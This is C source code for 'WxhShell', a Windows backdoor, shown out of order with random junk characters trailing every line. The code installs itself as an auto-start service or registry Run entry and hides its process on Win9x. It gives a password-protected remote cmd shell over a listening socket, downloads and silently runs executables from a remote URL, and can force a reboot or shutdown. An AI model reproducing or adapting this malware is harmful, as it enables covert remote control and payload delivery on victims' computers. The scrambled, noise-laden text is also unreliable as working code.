    if(Boot(SHUTDOWN)) E}' d,v#Z{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n~ >h4=h  
    else { +F~0\#d  
    closesocket(wsh); iQzX-a|4]  
    ExitThread(0); T[XP\!z]B!  
    } \_Kt6=  
    break; ?hJsN  
    } uWB:"&!^  
  // 获取shell T E&Q6  
  case 's': { vMX6Bg8  
    CmdShell(wsh); dHq )vs,L  
    closesocket(wsh); e9`uD|KAS|  
    ExitThread(0); EdAR<VfleA  
    break; 3hXmYz(  
  } b;J0'o^G|  
  // 退出 .)@tXH=}+  
  case 'x': { n*m"L|:ff  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2WPF{y%/  
    CloseIt(wsh); i$JG^6,O  
    break; a][pTC\rb  
    } W-!Bl&jF[  
  // 离开 t&9as}  
  case 'q': { #x5N{8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @nx}6?p\,  
    closesocket(wsh); 9Z0CF~Y5  
    WSACleanup(); C9mzg  
    exit(1); %O&m#)|  
    break; sUbz)BS#.  
        } :PD`PgQ  
  } `\ef0  
  } }(+=/$C"#  
P~\a)Szy  
  // 提示信息 ].-J.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); up &NCX  
} d{2 y/  
  } Im?= e  
tt7PEEf  
  return; gVa+.x]  
} {\svV 0)~  
-7k|6"EwM  
// shell模块句柄 K$<`4#i  
int CmdShell(SOCKET sock) 5%QC ][,  
{ =XMD+  
STARTUPINFO si; hJ;f1dZ7}  
ZeroMemory(&si,sizeof(si)); s!@=rq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {UdcX~\~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x&R9${e%  
PROCESS_INFORMATION ProcessInfo; h0F0d^W.  
char cmdline[]="cmd"; CGd[3}"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GJC!0{8;  
  return 0; *(d6Z#  
} s%N`  
d2C[wQF  
// 自身启动模式 }fJ:wku  
int StartFromService(void) rnn2u+OG   
{ {d 1N&  
typedef struct QiTR-M2C!  
{ FJa[ToZ4+  
  DWORD ExitStatus; I|KY+k> /  
  DWORD PebBaseAddress; 8h&oSOkQk,  
  DWORD AffinityMask; C#U< k0R  
  DWORD BasePriority; z^gQ\\,4  
  ULONG UniqueProcessId; `1fJ:b/M  
  ULONG InheritedFromUniqueProcessId; {PODisl>\D  
}   PROCESS_BASIC_INFORMATION; W;Ud<7<;Z  
j-lSFTo  
PROCNTQSIP NtQueryInformationProcess; &'5@azU  
I&TTr7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JrCf,?L^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yu`KzIU  
mL:m;>JJ n  
  HANDLE             hProcess; DKy >]Hca  
  PROCESS_BASIC_INFORMATION pbi; ~\IF9!  
$ \Q<K@{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); / h}PEu3y  
  if(NULL == hInst ) return 0; .cg=  
r5MxjuOB1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E-UB -"6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xm<v"><  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l|08  
:y+B;qw  
  if (!NtQueryInformationProcess) return 0; 6=ZRn gQ  
^M`>YOU2+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xwTijSj  
  if(!hProcess) return 0; `z9)YH  
"/ tUA\=j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wGEWr2$  
#4P8Rzl$/  
  CloseHandle(hProcess); > I$B=  
dT5J-70Fl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .S~@BI(|<  
if(hProcess==NULL) return 0; L;/9L[s,  
LP.HS'M~u  
HMODULE hMod; Sm$p\ORa  
char procName[255]; h5L=M^z!>  
unsigned long cbNeeded; !]$V9F{K  
WGH%92  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U7^7/s/.  
.:w#&yM [U  
  CloseHandle(hProcess); f ,tW_g  
\hs/D+MCk  
if(strstr(procName,"services")) return 1; // 以服务启动 YV5Yx-+3w$  
l6iw=b[?  
  return 0; // 注册表启动 7JbY}@  
} =nJ{$%L\x,  
<+V-k|  
// 主模块 rHvF%o  
int StartWxhshell(LPSTR lpCmdLine) _Zh2eXWdjM  
{ $Mdbt o~<  
  SOCKET wsl; LtC~)R  
BOOL val=TRUE; AXz-4,=xX  
  int port=0; *:a'GC%/  
  struct sockaddr_in door; %lN2n,AK  
!\QeBd+  
  if(wscfg.ws_autoins) Install(); wk" l[cH>  
`_|aeoK_  
port=atoi(lpCmdLine); L ;6b+I  
hS4.3]ei  
if(port<=0) port=wscfg.ws_port; dZPW2yf  
x>}B#  
  WSADATA data; EJ1Bq>u7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ARPKzF`Wq  
10mK}HT>4B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }7K@e;YUg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \ jE CSV|  
  door.sin_family = AF_INET; ^;.T}c%N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4w 'lu"U  
  door.sin_port = htons(port); `,+#!)  
Z;#%t.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rvW!7 -R  
closesocket(wsl); 2;8Xz 6T  
return 1; $30oc Tt{  
} 85'nXYN{d  
BWWq4mdb{  
  if(listen(wsl,2) == INVALID_SOCKET) { zG_p"Z7,  
closesocket(wsl); _}D%iJg#  
return 1; KE<kj$  
} .Y;b)]@f  
  Wxhshell(wsl); yH^f\u0  
  WSACleanup(); :pRF*^eU  
+#4]o }6G  
return 0; tv0Ha A  
T=WNBqKo]  
} [!EXMpq'  
hR-K@fS%l'  
// 以NT服务方式启动 aR _NyA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qP7G[%=v  
{ WJfES2N  
DWORD   status = 0; FKC\VF  
  DWORD   specificError = 0xfffffff; GD!- qH  
e9&+vsRmA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 62Mdm3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '_V #;DI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +IrZ ;&oy  
  serviceStatus.dwWin32ExitCode     = 0; 6O pa{]  
  serviceStatus.dwServiceSpecificExitCode = 0; r088aUO P  
  serviceStatus.dwCheckPoint       = 0; ^5>s7SGB"  
  serviceStatus.dwWaitHint       = 0; 3)3Hck  
ygN>"eP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r4u z} jl{  
  if (hServiceStatusHandle==0) return; )>\4ULR83  
!DPF7x(-{  
status = GetLastError(); 61} i5o  
  if (status!=NO_ERROR) /t*YDWLg  
{ `z9J`r= I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [F+,YV%t  
    serviceStatus.dwCheckPoint       = 0; _-O cc=Z  
    serviceStatus.dwWaitHint       = 0; `?"6l5d.]  
    serviceStatus.dwWin32ExitCode     = status; fxd0e;NAAh  
    serviceStatus.dwServiceSpecificExitCode = specificError; B8H75sz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k^%2_H  
    return; b HE7yv [  
  } \7Qb229?  
'f+NW &   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )s)_XL  
  serviceStatus.dwCheckPoint       = 0; =LI:S|[4  
  serviceStatus.dwWaitHint       = 0; | f\D>Y%)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _1aGtX|W  
} <J&7]6Z  
D^+?|Y@N  
// 处理NT服务事件,比如:启动、停止 <*<U!J-i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z}+i=cAN  
{ ]!Oue_-;  
switch(fdwControl) Lu=O+{*8  
{ GKZN}bOm\  
case SERVICE_CONTROL_STOP: ?iv=53<c#  
  serviceStatus.dwWin32ExitCode = 0; :HRT 2I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y(5:}x&E  
  serviceStatus.dwCheckPoint   = 0; dY!u)M;~~  
  serviceStatus.dwWaitHint     = 0; <r~wZ}s  
  { T  p<s1'"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ ny6W9  
  } ZSB?Y 1wG  
  return; l+zb~  
case SERVICE_CONTROL_PAUSE: AOb]qc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L%t@,O#,  
  break; m|O1QM;T  
case SERVICE_CONTROL_CONTINUE: $i#?v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zXZir7NfM  
  break; U%>'"  
case SERVICE_CONTROL_INTERROGATE: 8]bz(P#  
  break; bMm3F%FFq&  
}; 'c %S!$P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F PR`tE  
} UV AJxqz%}  
/[=E0_t+  
// 标准应用程序主函数 BI/&dKM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I4=Xb^Ux  
{ =rFN1M/n{E  
=lp1Z>  
// 获取操作系统版本  &;c>O  
OsIsNt=GetOsVer();  )h_8vO2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (dqCa[  
=-#G8L%Q  
  // 从命令行安装 QR0(,e$Dl  
  if(strpbrk(lpCmdLine,"iI")) Install(); h/)_) r.x  
asVX82<  
  // 下载执行文件 hH>``gK  
if(wscfg.ws_downexe) { G$bJ+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W\cjdd  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,SUT~oETP  
} )d`mvZBn1  
Da.G4,vLh  
if(!OsIsNt) { Ak@Dyi?p  
// 如果时win9x,隐藏进程并且设置为注册表启动 86 .`T l;  
HideProc(); UzG[:ic%  
StartWxhshell(lpCmdLine); mJ5H=&Z  
} S,jZ3^  
else 4_^[=p/R  
  if(StartFromService()) <RXwM6G2  
  // 以服务方式启动 pQa:pX  
  StartServiceCtrlDispatcher(DispatchTable); ' cIEc1y  
else /7"I#U^u/  
  // 普通方式启动 [k<1`z3  
  StartWxhshell(lpCmdLine); {tiKH=&J  
n3KI+I%nQ  
return 0; ZZxk]D<  
} :"1|AJo)  
]a'99^?\  
zjl!9M!  
W 7sn+g \  
=========================================== [?0d~Q(R#  
cU.9}-)  
pUYM}&dX  
B?bW1  
>jg0s)RA'  
r! %;R?c  
" ?C-Towo=i  
78 f$6J q  
#include <stdio.h> kz} R[7  
#include <string.h> U7h(`b  
#include <windows.h> 3gEMRy*+  
#include <winsock2.h> 9=`Wp6Gmn  
#include <winsvc.h> p@ NaD=9  
#include <urlmon.h> pzZk\-0R  
#5} wuj%5  
#pragma comment (lib, "Ws2_32.lib") YJV%a  
#pragma comment (lib, "urlmon.lib") .a'f|c6  
7gF"=7{-  
#define MAX_USER   100 // 最大客户端连接数 Xf[kI  
#define BUF_SOCK   200 // sock buffer ^teq[l$;  
#define KEY_BUFF   255 // 输入 buffer 6%G-Vs]*2  
~`ny @WD9  
#define REBOOT     0   // 重启 > L2HET  
#define SHUTDOWN   1   // 关机 _}xd}QW  
I:cg}JZ>|  
#define DEF_PORT   5000 // 监听端口 i1lBto[  
L{-LX= G^  
#define REG_LEN     16   // 注册表键长度 =c.5874A`  
#define SVC_LEN     80   // NT服务名长度 fWnD\mx?0  
]6r;}1c  
// 从dll定义API $'rG-g!f\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w"Y` ]2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RE2&mYt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6w8" >~)Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Yr.sm!xA  
^TY ;Zp  
// wxhshell配置信息 rwLAW"0Qz  
struct WSCFG { FzQTDu9  
  int ws_port;         // 监听端口 CNZz]H  
  char ws_passstr[REG_LEN]; // 口令 8,P- 7^  
  int ws_autoins;       // 安装标记, 1=yes 0=no dP?Ge}  
  char ws_regname[REG_LEN]; // 注册表键名 fxaJZz$o  
  char ws_svcname[REG_LEN]; // 服务名 Z<[<n0o1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \JEXX4%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m,i,n9C->  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GzXUU@p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^!<dgBNj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s#~GH6/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8BOZh6BV  
,l YE  
}; c/N@zum,{  
"5R~(+~<@  
// default Wxhshell configuration \MC-4Yz  
struct WSCFG wscfg={DEF_PORT, EP'h@zdz  
    "xuhuanlingzhe", @hQlrq5c  
    1, l/TjQ*  
    "Wxhshell", Z;Ez"t&U  
    "Wxhshell", [qUN4x5b  
            "WxhShell Service", a7zcIwk '{  
    "Wrsky Windows CmdShell Service", . o7m!  
    "Please Input Your Password: ", `nM/l @  
  1, o8/ ;;*  
  "http://www.wrsky.com/wxhshell.exe", 4;n6I)&.(  
  "Wxhshell.exe" ,YTIC8qKr  
    }; U$]|~41#  
g8qgk:}  
// 消息定义模块 A1'hlAGF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u0aJu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lO&3{dOYE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]D[DU]K  
char *msg_ws_ext="\n\rExit."; gb ^?l~SS  
char *msg_ws_end="\n\rQuit."; QO;N9ZI  
char *msg_ws_boot="\n\rReboot..."; zJP6F.Ov!  
char *msg_ws_poff="\n\rShutdown..."; @k[R/,#'[t  
char *msg_ws_down="\n\rSave to "; F <>!kK/c  
B~o\+n  
char *msg_ws_err="\n\rErr!"; wW>zgTG  
char *msg_ws_ok="\n\rOK!"; xh7cVE[UM  
 ]#7zk9  
char ExeFile[MAX_PATH]; }bY; q-  
int nUser = 0; Tc8 un.  
HANDLE handles[MAX_USER]; 1) ta  
int OsIsNt; BdlVabQyKW  
7K)6^r^  
SERVICE_STATUS       serviceStatus; mxb(<9O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g?-lk5  
|f~@8|MQP+  
// 函数声明 .CL^BiD.D  
int Install(void); ee%fqVQ8P  
int Uninstall(void); ~gB>) ]  
int DownloadFile(char *sURL, SOCKET wsh); 5N%93{L  
int Boot(int flag); hxCvk/7sT  
void HideProc(void); }|PY!O  
int GetOsVer(void); /}Jj  
int Wxhshell(SOCKET wsl); ono4U.C9  
void TalkWithClient(void *cs); nKW*Y}VO  
int CmdShell(SOCKET sock); x77l~=P+!  
int StartFromService(void); fP.F`V_Y  
int StartWxhshell(LPSTR lpCmdLine); XGP6L0j  
'cY` w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y3Vlp/"rB"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $)3%U?AP  
O@p]KSfk  
// 数据结构和表定义 3nZo{p:E  
SERVICE_TABLE_ENTRY DispatchTable[] = ,%\o4Rc'o  
{ \ [a%('}  
{wscfg.ws_svcname, NTServiceMain}, sR/b$j>i3  
{NULL, NULL} O'Js}  
}; W6On9 3sa  
9Xx's%U  
// 自我安装 m(pE5B(  
int Install(void) EwOV;>@T?  
{ V(Ub!n:j  
  char svExeFile[MAX_PATH]; K|dso]b/  
  HKEY key; w@N  
  strcpy(svExeFile,ExeFile); h;6lK$!c  
y|'SXM  
// 如果是win9x系统,修改注册表设为自启动 }CeCc0M  
if(!OsIsNt) { LX^u_Iu   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G:zua`u[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Me 5_4H&Sg  
  RegCloseKey(key); |SyMngIY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r*Yi1j/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }Ho Qwy|&  
  RegCloseKey(key); >JiltF7H0  
  return 0; sQMFpIrr  
    } kF/9-[]$g,  
  } o6V}$wT3J  
} H^YSJ 6  
else { oWYmj=D~2z  
a'z)  
// 如果是NT以上系统,安装为系统服务 +nJUFc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lo[.&GD  
if (schSCManager!=0) foQ#a  
{ 6`f2-f9%iq  
  SC_HANDLE schService = CreateService ">#wOm+ +  
  (  cReB~wk  
  schSCManager, M bb x`  
  wscfg.ws_svcname, Nm |!#(L  
  wscfg.ws_svcdisp, 1Tu *79A  
  SERVICE_ALL_ACCESS, .'Vww  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8']9$#  
  SERVICE_AUTO_START, s8}@=]aA  
  SERVICE_ERROR_NORMAL, #5V9o KM  
  svExeFile, I'|$}/\`  
  NULL, g]*#%Xa  
  NULL, :_O%/k1\@  
  NULL, ;<leKcvhQ&  
  NULL, [7[0^ad  
  NULL LqA@&H  
  ); |+T1XYG5  
  if (schService!=0) l5"OIq  
  { =Q.^c.sw  
  CloseServiceHandle(schService); u9N 1pZ~  
  CloseServiceHandle(schSCManager); >Z1sb  n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xD6@Qk  
  strcat(svExeFile,wscfg.ws_svcname); Rz.?i+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { () j =5KDu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )kP5u`v  
  RegCloseKey(key); 92EWIHEWZ  
  return 0; Z?\2F%  
    } }mAa}{_  
  } rb|U;)C  
  CloseServiceHandle(schSCManager); [ i]Ub0Dh7  
} SLh(9%S;  
} /kfgx{jZ  
['T:ea6B  
return 1; ;aw=MV  
} _'(,  
uuQ(&  
// 自我卸载 o93`|yWl  
int Uninstall(void) 0zi~p>*nJC  
{ $C `;fA  
  HKEY key; Z4lO?S5%J  
YGrg  
if(!OsIsNt) { zRyuq1Zyc,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vMS |$L  
  RegDeleteValue(key,wscfg.ws_regname); 0PWg;>^'  
  RegCloseKey(key); ^Y'HaneoM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >"C,@cN}B  
  RegDeleteValue(key,wscfg.ws_regname); UXh9:T'%  
  RegCloseKey(key); `DC2gJKk%  
  return 0; l g-X:Z.  
  } {DR`;ea])1  
} [<6S%s  
} $g sxO!G  
else { {HCz p,Y  
a]MX)?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); % ClHCoyA  
if (schSCManager!=0) ; d J1  
{ -q*i_r:,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); } q$ WvY/  
  if (schService!=0) =F@W gn,  
  { (JM5`XwM  
  if(DeleteService(schService)!=0) { 9o+)?1\  
  CloseServiceHandle(schService); QDhOhGK  
  CloseServiceHandle(schSCManager); JhLgCnm  
  return 0; AT%u%cE-  
  } 'hs2RSq  
  CloseServiceHandle(schService); = 17t- [  
  } D}mjN=Y  
  CloseServiceHandle(schSCManager); "OdXY"G  
} WS`qVL]^&  
} 'L8' '(eZ^  
R.yC(r  
return 1; i{`;R  
} GgB,tam{p  
?W)A   
// 从指定url下载文件 vMm1Z5S/  
int DownloadFile(char *sURL, SOCKET wsh) lGOgN!?i  
{ Vb= Mg  
  HRESULT hr; Wh.?j>vB  
char seps[]= "/"; |b)Y#)C;  
char *token; WUh$^5W  
char *file; h"/< ?3{  
char myURL[MAX_PATH]; Zd')57{  
char myFILE[MAX_PATH]; c|#8T*`C  
eY|  
strcpy(myURL,sURL); z[3L2U~6  
  token=strtok(myURL,seps); +w+} b^4  
  while(token!=NULL) 0DJ+I  
  { +Nt2 +Y:O  
    file=token; LRNh@g4ei  
  token=strtok(NULL,seps); 9;B0Mq py  
  } <x<"n t  
;u>DNG|.  
GetCurrentDirectory(MAX_PATH,myFILE); `nZ)>  
strcat(myFILE, "\\"); egq67S  
strcat(myFILE, file); E/%9jDTQ  
  send(wsh,myFILE,strlen(myFILE),0); ])nPPf  
send(wsh,"...",3,0); Y4v|ko`l%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O R;uqV@  
  if(hr==S_OK) o}* hY"&  
return 0; MpF$xzh  
else ;J ayoJ  
return 1; FgB& b  
l=v4Fa0^jF  
} }Nf%n@  
H{=21\a\  
// 系统电源模块 ~V\D|W9  
int Boot(int flag) bp~g;h*E2  
{ @*6 C=LL  
  HANDLE hToken; Z7=`VNHc  
  TOKEN_PRIVILEGES tkp; `.i!NBA'6  
.p e(lP  
  if(OsIsNt) { /\4'ddGU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C,v(:ZE$J7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vy\RcP  
    tkp.PrivilegeCount = 1; .8by"?**  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *tK\R&4,4s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5) pj]S!]-  
if(flag==REBOOT) { _t^{a]/H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j4cwI90=  
  return 0; m>MB7,C;N  
} Ndi9FD3im  
else { XBp?w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j'MO(ev  
  return 0; &3n~ %$#N  
} HBu[gh;b  
  } ''0fF_P  
  else { W7 #9jo  
if(flag==REBOOT) { p_${Nj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =g|IG [V  
  return 0; n}!PO[m~  
} !& z(:d  
else { .MP !`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O vk_\On  
  return 0; TX&Jt%  
} xUa{1!Y8  
} YLiSbLz1  
4\4FolsK  
return 1; lXjXqk\  
} ]Ccg`AR{  
4UW_Do  
// win9x进程隐藏模块 #0y)U;dA+w  
void HideProc(void) \cUC9/ b  
{ VB, ?Mo}R  
4}eepJOn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qa0 yg8,<  
  if ( hKernel != NULL ) $ >u*} X9  
  { {z")7g ]l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -bSSP!f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CTZh0 x  
    FreeLibrary(hKernel); U qFv}VsnF  
  } "saUai4z  
\xnWciQ#{  
return; ^HqY9QT2  
} v33dxZ'  
1ke g9]  
// 获取操作系统版本 &3TEfvz  
int GetOsVer(void) X ><?F|#7T  
{ HLV2~5Txc  
  OSVERSIONINFO winfo; !3*(N8_|#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [&#/]Ul'  
  GetVersionEx(&winfo); 3< 2}V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) woD>!r>)  
  return 1; j ~1B|,H  
  else Zf65`K3  
  return 0;  D0% Ug>  
} (K)]qNH  
Te<}*qvD  
// 客户端句柄模块 L>SjllY  
int Wxhshell(SOCKET wsl) +ayos[<0#  
{ urMG*7i <c  
  SOCKET wsh; dAkgR~  
  struct sockaddr_in client; @jsDq Ln  
  DWORD myID; .`4{9?bR  
g!+| I  
  while(nUser<MAX_USER) + EGD.S{  
{ #py[  
  int nSize=sizeof(client); |ayVjqJ*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }l],.J\BGX  
  if(wsh==INVALID_SOCKET) return 1; &iA?+kV  
+KvU$9Ad>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RHO(?8"_  
if(handles[nUser]==0) [g:$K5\64  
  closesocket(wsh); /M3Y~l$  
else /qy-qUh3h  
  nUser++; pJt,9e6  
  } JSTuXW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O"c;|zCc>  
y6[IfcN  
  return 0; |>tKq;/  
} YYu6W@m]  
ZRg;/sX]  
// 关闭 socket SVB\  
void CloseIt(SOCKET wsh) ~,5gUl?Il  
{ R)RG[F#   
closesocket(wsh); fM^qQM[lG  
nUser--; PSZL2iGj9V  
ExitThread(0); NR5oIKP?  
} qx4I_%  
IbP#_Vt  
// 客户端请求句柄 |,!IZ- th  
void TalkWithClient(void *cs) 8$;=Uf,x  
{ ]2\VweV  
79xx2  
  SOCKET wsh=(SOCKET)cs; EodQ*{l  
  char pwd[SVC_LEN]; '{ V0M<O  
  char cmd[KEY_BUFF]; ?Vf o+a,  
char chr[1]; N =QfP  
int i,j; I.94v #r  
-U/c\-~fU  
  while (nUser < MAX_USER) { tjluk  
A#95&kJpy  
if(wscfg.ws_passstr) { i*NH'o/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y[K*57fs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8=Z9T<K  
  //ZeroMemory(pwd,KEY_BUFF); "vyNxZE  
      i=0; 3T!lA  
  while(i<SVC_LEN) { ZsOIH<}S  
@)4]b+8Z  
  // 设置超时 'zGo?a  
  fd_set FdRead; 8@2OJ=`[  
  struct timeval TimeOut; p~,]*y:XT  
  FD_ZERO(&FdRead); kAC&S!n  
  FD_SET(wsh,&FdRead); (r D_(%o  
  TimeOut.tv_sec=8; yGPS`S  
  TimeOut.tv_usec=0; ^]a#7/]o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8W#heW\-]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "t_-f7fS7  
R]btAu;Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a8 mVFm  
  pwd=chr[0]; ?`#/ 8PN  
  if(chr[0]==0xd || chr[0]==0xa) { ,}))u0q+:  
  pwd=0; "G@g" gP  
  break; mM-8+H?~b  
  } ktdW`R\+  
  i++; @p NNq  
    } WUsKnf  
371 TvZ4  
  // 如果是非法用户,关闭 socket HO}Hh[{V9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2g>SHS@1>  
} fIwV\,s  
jr!?v<NoX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nC}6B).el  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !gv`F E9y  
X6mqi;+  
while(1) { qQsku;C?i  
4@ML3d/  
  ZeroMemory(cmd,KEY_BUFF); frT]5?{  
S& \L-@  
      // 自动支持客户端 telnet标准   ;F~LqC$  
  j=0; K/3)g9Z&io  
  while(j<KEY_BUFF) { 3T}izG]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ],J EBt  
  cmd[j]=chr[0];  XoCC/  
  if(chr[0]==0xa || chr[0]==0xd) { /i-J&*6_  
  cmd[j]=0; KFvQ  
  break; j;fpQ_KL  
  } [zlN !.Z  
  j++; =IW?WIXk  
    } 3MY(<TGX  
24)(5!:"  
  // 下载文件 Qe} `~a9P  
  if(strstr(cmd,"http://")) { X90J!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r.>].~}4  
  if(DownloadFile(cmd,wsh)) JA'h4AXk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %JHGiCv|  
  else R%qGPO5Z\c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^*S)t. "  
  } "gne_Ye.  
  else { YJ;j x0  
Eg2[k.{P  
    switch(cmd[0]) { MF'$~gxo  
  t $xY #:  
